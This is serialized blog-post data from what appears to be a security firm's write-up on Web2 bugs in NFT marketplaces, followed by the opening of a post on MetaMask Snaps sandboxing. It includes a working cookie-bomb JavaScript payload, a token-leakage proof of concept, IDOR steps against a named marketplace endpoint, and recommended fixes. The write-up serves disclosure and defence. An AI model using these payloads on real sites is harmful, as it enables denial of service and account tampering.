style":246},[34625],{"type":28,"value":34344},{"type":23,"tag":213,"props":34627,"children":34628},{"style":32431},[34629],{"type":28,"value":6084},{"type":23,"tag":213,"props":34631,"children":34632},{"class":215,"line":543},[34633,34637,34641,34645,34649,34653,34657],{"type":23,"tag":213,"props":34634,"children":34635},{"style":32431},[34636],{"type":28,"value":32450},{"type":23,"tag":213,"props":34638,"children":34639},{"style":230},[34640],{"type":28,"value":34360},{"type":23,"tag":213,"props":34642,"children":34643},{"style":32431},[34644],{"type":28,"value":10545},{"type":23,"tag":213,"props":34646,"children":34647},{"style":220},[34648],{"type":28,"value":31293},{"type":23,"tag":213,"props":34650,"children":34651},{"style":32431},[34652],{"type":28,"value":32485},{"type":23,"tag":213,"props":34654,"children":34655},{"style":230},[34656],{"type":28,"value":34360},{"type":23,"tag":213,"props":34658,"children":34659},{"style":32431},[34660],{"type":28,"value":6084},{"type":23,"tag":213,"props":34662,"children":34663},{"class":215,"line":551},[34664,34668,34672,34676,34680,34684],{"type":23,"tag":213,"props":34665,"children":34666},{"style":32431},[34667],{"type":28,"value":32450},{"type":23,"tag":213,"props":34669,"children":34670},{"style":230},[34671],{"type":28,"value":32471},{"type":23,"tag":213,"props":34673,"children":34674},{"style":268},[34675],{"type":28,"value":32596},{"type":23,"tag":213,"props":34677,"children":34678},{"style":274},[34679],{"type":28,"value":3190},{"type":23,"tag":213,"props":34681,"children":34682},{"style":246},[34683],{"type":28,"value":34404},{"type":23,"tag":213,"props":34685,"children":34686},{"style":32431},[34687],{"type":28,"value":6084},{"type":23,"tag":213,"props":34689,"children":34690},{"class":215,"line":570},[34691],{"type":23,"tag":213,"props":34692,"children":34693},{"style":220},[34694],{"type":28,"value":34695}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":213,"props":34697,"children":34698},{"class":215,"line":655},[34699],{"type":23,"tag":213,"props":34700,"children":34701},{"style":220},[34702],{"type":28,"value":34703}," var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":213,"props":34705,"children":34706},{"class":215,"line":1176},[34707],{"type":23,"tag":213,"props":34708,"children":34709},{"emptyLinePlaceholder":18},[34710],{"type":28,"value":530},{"type":23,"tag":213,"props":34712,"children":34713},{"class":215,"line":1202},[34714,34719],{"type":23,"tag":213,"props":34715,"children":34716},{"style":220},[34717],{"type":28,"value":34718}," for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":213,"props":34720,"children":34721},{"style":230},[34722],{"type":28,"value":10964},{"type":23,"tag":213,"props":34724,"children":34725},{"class":215,"line":1758},[34726,34731,34735,34740,34744,34749,34754,34758,34762,34767,34771,34776,34780,34785,34789,34794],{"type":23,"tag":213,"props":34727,"children":34728},{"style":268},[34729],{"type":28,"value":34730}," document",{"type":23,"tag":213,"props":34732,"children":34733},{"style":274},[34734],{"type":28,"value":124},{"type":23,"tag":213,"props":34736,"children":34737},{"style":268},[34738],{"type":28,"value":34739},"cookie",{"type":23,"tag":213,"props":34741,"children":34742},{"style":274},[34743],{"type":28,"value":32967},{"type":23,"tag":213,"props":34745,"children":34746},{"style":246},[34747],{"type":28,"value":34748},"'Cookie'",{"type":23,"tag":213,"props":34750,"children":34751},{"style":274},[34752],{"type":28,"value":34753}," + ",{"type":23,"tag":213,"props":34755,"children":34756},{"style":268},[34757],{"type":28,"value":3826},{"type":23,"tag":213,"props":34759,"children":34760},{"style":274},[34761],{"type":28,"value":34753},{"type":23,"tag":213,"props":34763,"children":34764},{"style":246},[34765],{"type":28,"value":34766},"'='",{"type":23,"tag":213,"props":34768,"children":34769},{"style":274},[34770],{"type":28,"value":34753},{"type":23,"tag":213,"props":34772,"children":34773},{"style":268},[34774],{"type":28,"value":34775},"Set_Cookie",{"type":23,"tag":213,"props":34777,"children":34778},{"style":274},[34779],{"type":28,"value":34753},{"type":23,"tag":213,"props":34781,"children":34782},{"style":246},[34783],{"type":28,"value":34784},"';Domain='",{"type":23,"tag":213,"props":34786,"children":34787},{"style":274},[34788],{"type":28,"value":34753},{"type":23,"tag":213,"props":34790,"children":34791},{"style":268},[34792],{"type":28,"value":34793},"Take_Domain",{"type":23,"tag":213,"props":34795,"children":34796},{"style":274},[34797],{"type":28,"value":313},{"type":23,"tag":213,"props":34799,"children":34800},{"class":215,"line":1767},[34801],{"type":23,"tag":213,"props":34802,"children":34803},{"style":230},[34804],{"type":28,"value":34805}," }\n",{"type":23,"tag":213,"props":34807,"children":34808},{"class":215,"line":1789},[34809,34813,34817],{"type":23,"tag":213,"props":34810,"children":34811},{"style":32431},[34812],{"type":28,"value":34424},{"type":23,"tag":213,"props":34814,"children":34815},{"style":230},[34816],{"type":28,"value":32471},{"type":23,"tag":213,"props":34818,"children":34819},{"style":32431},[34820],{"type":28,"value":6084},{"type":23,"tag":213,"props":34822,"children":34823},{"class":215,"line":1812},[34824,34828,34832],{"type":23,"tag":213,"props":34825,"children":34826},{"style":32431},[34827],{"type":28,"value":34440},{"type":23,"tag":213,"props":34829,"children":34830},{"style":230},[34831],{"type":28,"value":34330},{"type":23,"tag":213,"props":34833,"children":34834},{"style":32431},[34835],{"type":28,"value":6084},{"type":23,"tag":24,"props":34837,"children":34838},{},[34839],{"type":28,"value":34840},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":47,"props":34842,"children":34844},{"id":34843},"authentication",[34845],{"type":28,"value":34846},"Authentication",{"type":23,"tag":24,"props":34848,"children":34849},{},[34850],{"type":23,"tag":87,"props":34851,"children":34852},{},[34853,34855,34862],{"type":28,"value":34854},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":23,"tag":36,"props":34856,"children":34859},{"href":34857,"rel":34858},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[40],[34860],{"type":28,"value":34861},"great misfortune has occured",{"type":28,"value":124},{"type":23,"tag":9693,"props":34864,"children":34866},{"id":34865},"verification-token-leakage",[34867],{"type":28,"value":34868},"Verification Token Leakage",{"type":23,"tag":24,"props":34870,"children":34871},{},[34872],{"type":28,"value":34873},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":24,"props":34875,"children":34876},{},[34877],{"type":28,"value":34878},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":24,"props":34880,"children":34881},{},[34882,34887],{"type":23,"tag":87,"props":34883,"children":34884},{},[34885],{"type":28,"value":34886},"Proof of Concept",{"type":28,"value":34888},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":24,"props":34890,"children":34891},{},[34892],{"type":28,"value":34893},"Here's the breakdown.",{"type":23,"tag":24,"props":34895,"children":34896},{},[34897],{"type":28,"value":34898},"First, we send the verification link to a user's email:",{"type":23,"tag":31402,"props":34900,"children":34901},{"style":31404},[34902],{"type":23,"tag":4009,"props":34903,"children":34907},{"src":34904,"alt":34905,"style":34906},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":24,"props":34909,"children":34910},{},[34911],{"type":28,"value":34912},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":9693,"props":34914,"children":34916},{"id":34915},"idor",[34917],{"type":28,"value":34918},"IDOR",{"type":23,"tag":24,"props":34920,"children":34921},{},[34922],{"type":23,"tag":87,"props":34923,"children":34924},{},[34925,34927,34934],{"type":28,"value":34926},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":36,"props":34928,"children":34931},{"href":34929,"rel":34930},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[40],[34932],{"type":28,"value":34933},"insect",{"type":28,"value":124},{"type":23,"tag":24,"props":34936,"children":34937},{},[34938,34940,34946],{"type":28,"value":34939},"During a security assessment of the ",{"type":23,"tag":36,"props":34941,"children":34944},{"href":34942,"rel":34943},"https://rocki.com",[40],[34945],{"type":28,"value":31340},{"type":28,"value":34947},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":24,"props":34949,"children":34950},{},[34951],{"type":28,"value":34952},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":24,"props":34954,"children":34955},{},[34956],{"type":28,"value":34957},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":24,"props":34959,"children":34960},{},[34961,34963,34969,34971,34976],{"type":28,"value":34962},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":209,"props":34964,"children":34966},{"className":34965},[],[34967],{"type":28,"value":34968},"https://evil.com/",{"type":28,"value":34970},". To achieve this, we simply changed the ",{"type":23,"tag":209,"props":34972,"children":34974},{"className":34973},[],[34975],{"type":28,"value":1804},{"type":28,"value":34977}," field value to one that belongs to another user:",{"type":23,"tag":24,"props":34979,"children":34980},{},[34981],{"type":23,"tag":4009,"props":34982,"children":34984},{"alt":7,"src":34983},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":24,"props":34986,"children":34987},{},[34988],{"type":28,"value":34989},"The following screenshot is the response to our request:",{"type":23,"tag":24,"props":34991,"children":34992},{},[34993],{"type":23,"tag":4009,"props":34994,"children":34996},{"alt":7,"src":34995},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":47,"props":34998,"children":35000},{"id":34999},"preventative-action-steps-for-marketplaces",[35001],{"type":23,"tag":95,"props":35002,"children":35003},{},[35004],{"type":28,"value":35005},"Preventative Action Steps for Marketplaces",{"type":23,"tag":24,"props":35007,"children":35008},{},[35009],{"type":28,"value":35010},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":24,"props":35012,"children":35013},{},[35014,35016,35022,35024,35030],{"type":28,"value":35015},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":209,"props":35017,"children":35019},{"className":35018},[],[35020],{"type":28,"value":35021},"innerText",{"type":28,"value":35023}," instead of ",{"type":23,"tag":209,"props":35025,"children":35027},{"className":35026},[],[35028],{"type":28,"value":35029},"innerHTML",{"type":28,"value":35031}," in client-side:",{"type":23,"tag":202,"props":35033,"children":35035},{"className":31419,"code":35034,"language":31421,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[35036],{"type":23,"tag":209,"props":35037,"children":35038},{"__ignoreMap":7},[35039],{"type":23,"tag":213,"props":35040,"children":35041},{"class":215,"line":216},[35042,35046,35050,35055,35059,35064,35068,35072,35076,35081],{"type":23,"tag":213,"props":35043,"children":35044},{"style":268},[35045],{"type":28,"value":32763},{"type":23,"tag":213,"props":35047,"children":35048},{"style":220},[35049],{"type":28,"value":124},{"type":23,"tag":213,"props":35051,"children":35052},{"style":257},[35053],{"type":28,"value":35054},"getElementById",{"type":23,"tag":213,"props":35056,"children":35057},{"style":220},[35058],{"type":28,"value":265},{"type":23,"tag":213,"props":35060,"children":35061},{"style":246},[35062],{"type":28,"value":35063},"'nftCollectionName'",{"type":23,"tag":213,"props":35065,"children":35066},{"style":220},[35067],{"type":28,"value":20796},{"type":23,"tag":213,"props":35069,"children":35070},{"style":268},[35071],{"type":28,"value":35021},{"type":23,"tag":213,"props":35073,"children":35074},{"style":274},[35075],{"type":28,"value":511},{"type":23,"tag":213,"props":35077,"children":35078},{"style":268},[35079],{"type":28,"value":35080}," nftCollectionName",{"type":23,"tag":213,"props":35082,"children":35083},{"style":220},[35084],{"type":28,"value":313},{"type":23,"tag":24,"props":35086,"children":35087},{},[35088],{"type":28,"value":35089},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":202,"props":35091,"children":35093},{"className":31419,"code":35092,"language":31421,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[35094],{"type":23,"tag":209,"props":35095,"children":35096},{"__ignoreMap":7},[35097],{"type":23,"tag":213,"props":35098,"children":35099},{"class":215,"line":216},[35100,35105,35110,35114,35119,35123,35128,35132,35137],{"type":23,"tag":213,"props":35101,"children":35102},{"style":230},[35103],{"type":28,"value":35104},"var",{"type":23,"tag":213,"props":35106,"children":35107},{"style":268},[35108],{"type":28,"value":35109}," sanitizedInput",{"type":23,"tag":213,"props":35111,"children":35112},{"style":274},[35113],{"type":28,"value":511},{"type":23,"tag":213,"props":35115,"children":35116},{"style":268},[35117],{"type":28,"value":35118}," DOMPurify",{"type":23,"tag":213,"props":35120,"children":35121},{"style":220},[35122],{"type":28,"value":124},{"type":23,"tag":213,"props":35124,"children":35125},{"style":257},[35126],{"type":28,"value":35127},"sanitize",{"type":23,"tag":213,"props":35129,"children":35130},{"style":220},[35131],{"type":28,"value":265},{"type":23,"tag":213,"props":35133,"children":35134},{"style":268},[35135],{"type":28,"value":35136},"userInput",{"type":23,"tag":213,"props":35138,"children":35139},{"style":220},[35140],{"type":28,"value":2867},{"type":23,"tag":24,"props":35142,"children":35143},{},[35144,35146,35153],{"type":28,"value":35145},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":36,"props":35147,"children":35150},{"href":35148,"rel":35149},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[40],[35151],{"type":28,"value":35152},"Content-Security-Policy",{"type":28,"value":35154}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":24,"props":35156,"children":35157},{},[35158],{"type":28,"value":35159},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":24,"props":35161,"children":35162},{},[35163,35165,35172],{"type":28,"value":35164},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":36,"props":35166,"children":35169},{"href":35167,"rel":35168},"https://www.techtarget.com/whatis/definition/whitelist",[40],[35170],{"type":28,"value":35171},"allow-list",{"type":28,"value":35173}," :",{"type":23,"tag":202,"props":35175,"children":35177},{"className":31419,"code":35176,"language":31421,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[35178],{"type":23,"tag":209,"props":35179,"children":35180},{"__ignoreMap":7},[35181,35210,35252,35282],{"type":23,"tag":213,"props":35182,"children":35183},{"class":215,"line":216},[35184,35188,35193,35197,35201,35206],{"type":23,"tag":213,"props":35185,"children":35186},{"style":230},[35187],{"type":28,"value":632},{"type":23,"tag":213,"props":35189,"children":35190},{"style":268},[35191],{"type":28,"value":35192}," allowDomains",{"type":23,"tag":213,"props":35194,"children":35195},{"style":274},[35196],{"type":28,"value":511},{"type":23,"tag":213,"props":35198,"children":35199},{"style":220},[35200],{"type":28,"value":469},{"type":23,"tag":213,"props":35202,"children":35203},{"style":246},[35204],{"type":28,"value":35205},"'https://allowed-domain'",{"type":23,"tag":213,"props":35207,"children":35208},{"style":220},[35209],{"type":28,"value":31630},{"type":23,"tag":213,"props":35211,"children":35212},{"class":215,"line":226},[35213,35217,35221,35225,35230,35234,35239,35243,35247],{"type":23,"tag":213,"props":35214,"children":35215},{"style":1362},[35216],{"type":28,"value":15637},{"type":23,"tag":213,"props":35218,"children":35219},{"style":220},[35220],{"type":28,"value":400},{"type":23,"tag":213,"props":35222,"children":35223},{"style":274},[35224],{"type":28,"value":20675},{"type":23,"tag":213,"props":35226,"children":35227},{"style":268},[35228],{"type":28,"value":35229},"allowDomains",{"type":23,"tag":213,"props":35231,"children":35232},{"style":220},[35233],{"type":28,"value":124},{"type":23,"tag":213,"props":35235,"children":35236},{"style":257},[35237],{"type":28,"value":35238},"includes",{"type":23,"tag":213,"props":35240,"children":35241},{"style":220},[35242],{"type":28,"value":265},{"type":23,"tag":213,"props":35244,"children":35245},{"style":268},[35246],{"type":28,"value":32773},{"type":23,"tag":213,"props":35248,"children":35249},{"style":220},[35250],{"type":28,"value":35251},")) {\n",{"type":23,"tag":213,"props":35253,"children":35254},{"class":215,"line":524},[35255,35260,35264,35269,35273,35278],{"type":23,"tag":213,"props":35256,"children":35257},{"style":1362},[35258],{"type":28,"value":35259}," throw",{"type":23,"tag":213,"props":35261,"children":35262},{"style":230},[35263],{"type":28,"value":31989},{"type":23,"tag":213,"props":35265,"children":35266},{"style":257},[35267],{"type":28,"value":35268}," ApolloError",{"type":23,"tag":213,"props":35270,"children":35271},{"style":220},[35272],{"type":28,"value":265},{"type":23,"tag":213,"props":35274,"children":35275},{"style":246},[35276],{"type":28,"value":35277},"'invalid domain'",{"type":23,"tag":213,"props":35279,"children":35280},{"style":220},[35281],{"type":28,"value":2867},{"type":23,"tag":213,"props":35283,"children":35284},{"class":215,"line":533},[35285],{"type":23,"tag":213,"props":35286,"children":35287},{"style":220},[35288],{"type":28,"value":1208},{"type":23,"tag":24,"props":35290,"children":35291},{},[35292,35294,35301,35303,35310],{"type":28,"value":35293},"As ",{"type":23,"tag":36,"props":35295,"children":35298},{"href":35296,"rel":35297},"https://graphql.org/",[40],[35299],{"type":28,"value":35300},"GraphQl",{"type":28,"value":35302}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":36,"props":35304,"children":35307},{"href":35305,"rel":35306},"https://graphql.org/learn/introspection/",[40],[35308],{"type":28,"value":35309},"introspection",{"type":28,"value":35311}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":202,"props":35313,"children":35315},{"className":31419,"code":35314,"language":31421,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[35316],{"type":23,"tag":209,"props":35317,"children":35318},{"__ignoreMap":7},[35319,35348,35360,35372,35388],{"type":23,"tag":213,"props":35320,"children":35321},{"class":215,"line":216},[35322,35326,35331,35335,35339,35344],{"type":23,"tag":213,"props":35323,"children":35324},{"style":230},[35325],{"type":28,"value":632},{"type":23,"tag":213,"props":35327,"children":35328},{"style":268},[35329],{"type":28,"value":35330}," server",{"type":23,"tag":213,"props":35332,"children":35333},{"style":274},[35334],{"type":28,"value":511},{"type":23,"tag":213,"props":35336,"children":35337},{"style":230},[35338],{"type":28,"value":31989},{"type":23,"tag":213,"props":35340,"children":35341},{"style":257},[35342],{"type":28,"value":35343}," ApolloServer",{"type":23,"tag":213,"props":35345,"children":35346},{"style":220},[35347],{"type":28,"value":15199},{"type":23,"tag":213,"props":35349,"children":35350},{"class":215,"line":226},[35351,35356],{"type":23,"tag":213,"props":35352,"children":35353},{"style":268},[35354],{"type":28,"value":35355}," typeDefs",{"type":23,"tag":213,"props":35357,"children":35358},{"style":220},[35359],{"type":28,"value":944},{"type":23,"tag":213,"props":35361,"children":35362},{"class":215,"line":524},[35363,35368],{"type":23,"tag":213,"props":35364,"children":35365},{"style":268},[35366],{"type":28,"value":35367}," resolvers",{"type":23,"tag":213,"props":35369,"children":35370},{"style":220},[35371],{"type":28,"value":944},{"type":23,"tag":213,"props":35373,"children":35374},{"class":215,"line":533},[35375,35380,35384],{"type":23,"tag":213,"props":35376,"children":35377},{"style":268},[35378],{"type":28,"value":35379}," introspection:",{"type":23,"tag":213,"props":35381,"children":35382},{"style":230},[35383],{"type":28,"value":9143},{"type":23,"tag":213,"props":35385,"children":35386},{"style":220},[35387],{"type":28,"value":944},{"type":23,"tag":213,"props":35389,"children":35390},{"class":215,"line":543},[35391],{"type":23,"tag":213,"props":35392,"children":35393},{"style":220},[35394],{"type":28,"value":35395},"});\n",{"type":23,"tag":24,"props":35397,"children":35398},{},[35399,35401,35408,35410,35417],{"type":28,"value":35400},"Similarly, when ",{"type":23,"tag":36,"props":35402,"children":35405},{"href":35403,"rel":35404},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[40],[35406],{"type":28,"value":35407},"batching",{"type":28,"value":35409}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":36,"props":35411,"children":35414},{"href":35412,"rel":35413},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[40],[35415],{"type":28,"value":35416},"denial-of-service",{"type":28,"value":35418}," (DoS) attacks.",{"type":23,"tag":24,"props":35420,"children":35421},{},[35422],{"type":28,"value":35423},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":24,"props":35425,"children":35426},{},[35427],{"type":28,"value":35428},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":35430,"props":35431,"children":35432},"h1",{"id":28989},[35433],{"type":28,"value":19000},{"type":23,"tag":24,"props":35435,"children":35436},{},[35437],{"type":28,"value":35438},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":24,"props":35440,"children":35441},{},[35442],{"type":28,"value":35443},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":47,"props":35445,"children":35447},{"id":35446},"disclaimer",[35448],{"type":28,"value":35449},"Disclaimer",{"type":23,"tag":24,"props":35451,"children":35452},{},[35453],{"type":28,"value":35454},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":2957,"props":35456,"children":35457},{},[35458],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":35460},[35461,35464,35470,35474,35475],{"id":29072,"depth":226,"text":29075,"children":35462},[35463],{"id":3021,"depth":524,"text":3024},{"id":31263,"depth":226,"text":31293,"children":35465},[35466,35467,35468,35469],{"id":31312,"depth":524,"text":31315},{"id":31377,"depth":524,"text":31380},{"id":34208,"depth":524,"text":34211},{"id":34498,"depth":524,"text":34501},{"id":34843,"depth":226,"text":34846,"children":35471},[35472,35473],{"id":34865,"depth":524,"text":34868},{"id":34915,"depth":524,"text":34918},{"id":34999,"depth":226,"text":35005},{"id":35446,"depth":226,"text":35449},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":35480,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":35481,"description":35482,"author":35483,"image":35484,"date":35486,"isFeatured":18,"onBlogPage":18,"body":35487,"_type":2967,"_id":40502,"_source":2969,"_file":40503,"_stem":40504,"_extension":2972},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[31257,31256],{"src":35485,"height":13702,"width":13703},"/posts/metamask-snaps/header.png","2023-11-01",{"type":20,"children":35488,"toc":40483},[35489,35493,35498,35503,35508,35514,35519,35525,35538,35543,35548,35555,35587,35593,35598,35616,35623,35629,35643,35649,35669,35933,35961,35967,35986,36372,36391,36404,36722,36743,37014,37019,37025,37030,37043,37048,37061,37320,37364,37377,37383,37397,37403,37409,37422,37459,37465,37485,37596,37623,37629,37647,37660,37666,37671,37689,37800,37805,37826,37839,37856,37956,37982,37999,38121,38147,38159,38164,38170,38176,38181,38204,38209,38214,38220,38226,38252,38655,38682,38709,38715,38746,39055,39074,39079,39104,39117,39123,39150,39445,39481,39499,39504,39539,39544,39548,39553,39560,39565,39592,40369,40389,40395,40416,40465,40469,40474,40479],{"type":23,"tag":47,"props":35490,"children":35491},{"id":19009},[35492],{"type":28,"value":19012},{"type":23,"tag":24,"props":35494,"children":35495},{},[35496],{"type":28,"value":35497},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":24,"props":35499,"children":35500},{},[35501],{"type":28,"value":35502},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":24,"props":35504,"children":35505},{},[35506],{"type":28,"value":35507},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":47,"props":35509,"children":35511},{"id":35510},"sandbox-security",[35512],{"type":28,"value":35513},"Sandbox Security",{"type":23,"tag":24,"props":35515,"children":35516},{},[35517],{"type":28,"value":35518},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":9693,"props":35520,"children":35522},{"id":35521},"permission-based-security",[35523],{"type":28,"value":35524},"Permission-based security",{"type":23,"tag":24,"props":35526,"children":35527},{},[35528,35530,35536],{"type":28,"value":35529},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":23,"tag":209,"props":35531,"children":35533},{"className":35532},[],[35534],{"type":28,"value":35535},"snap.manifest.json",{"type":28,"value":35537}," file and can be critical to security.",{"type":23,"tag":24,"props":35539,"children":35540},{},[35541],{"type":28,"value":35542},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":24,"props":35544,"children":35545},{},[35546],{"type":28,"value":35547},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":24,"props":35549,"children":35550},{},[35551],{"type":23,"tag":4009,"props":35552,"children":35554},{"alt":7,"src":35553},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":168,"props":35556,"children":35557},{},[35558,35576],{"type":23,"tag":135,"props":35559,"children":35560},{},[35561,35567,35568,35574],{"type":23,"tag":209,"props":35562,"children":35564},{"className":35563},[],[35565],{"type":28,"value":35566},"snap_getBip44Entropy",{"type":28,"value":1466},{"type":23,"tag":209,"props":35569,"children":35571},{"className":35570},[],[35572],{"type":28,"value":35573},"snap_getBip32Entropy",{"type":28,"value":35575}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":135,"props":35577,"children":35578},{},[35579,35585],{"type":23,"tag":209,"props":35580,"children":35582},{"className":35581},[],[35583],{"type":28,"value":35584},"endowment:transaction-insight",{"type":28,"value":35586}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":9693,"props":35588,"children":35590},{"id":35589},"snap-execution-environment",[35591],{"type":28,"value":35592},"Snap execution environment",{"type":23,"tag":24,"props":35594,"children":35595},{},[35596],{"type":28,"value":35597},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":131,"props":35599,"children":35600},{},[35601,35606,35611],{"type":23,"tag":135,"props":35602,"children":35603},{},[35604],{"type":28,"value":35605},"An isolated iframe",{"type":23,"tag":135,"props":35607,"children":35608},{},[35609],{"type":28,"value":35610},"LavaMoat",{"type":23,"tag":135,"props":35612,"children":35613},{},[35614],{"type":28,"value":35615},"SES (Secure EcmaScript)",{"type":23,"tag":24,"props":35617,"children":35618},{},[35619],{"type":23,"tag":4009,"props":35620,"children":35622},{"alt":7,"src":35621},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":9693,"props":35624,"children":35626},{"id":35625},"isolated-iframe-layer-1",[35627],{"type":28,"value":35628},"Isolated Iframe - Layer 1",{"type":23,"tag":24,"props":35630,"children":35631},{},[35632,35634,35641],{"type":28,"value":35633},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":36,"props":35635,"children":35638},{"href":35636,"rel":35637},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[40],[35639],{"type":28,"value":35640},"Iframe",{"type":28,"value":35642}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":18945,"props":35644,"children":35646},{"id":35645},"the-framework-metamask-extension-repo",[35647],{"type":28,"value":35648},"The Framework: Metamask-Extension Repo",{"type":23,"tag":24,"props":35650,"children":35651},{},[35652,35654,35660,35662,35668],{"type":28,"value":35653},"The process of snap execution kicks off within the metamask-extension repository's 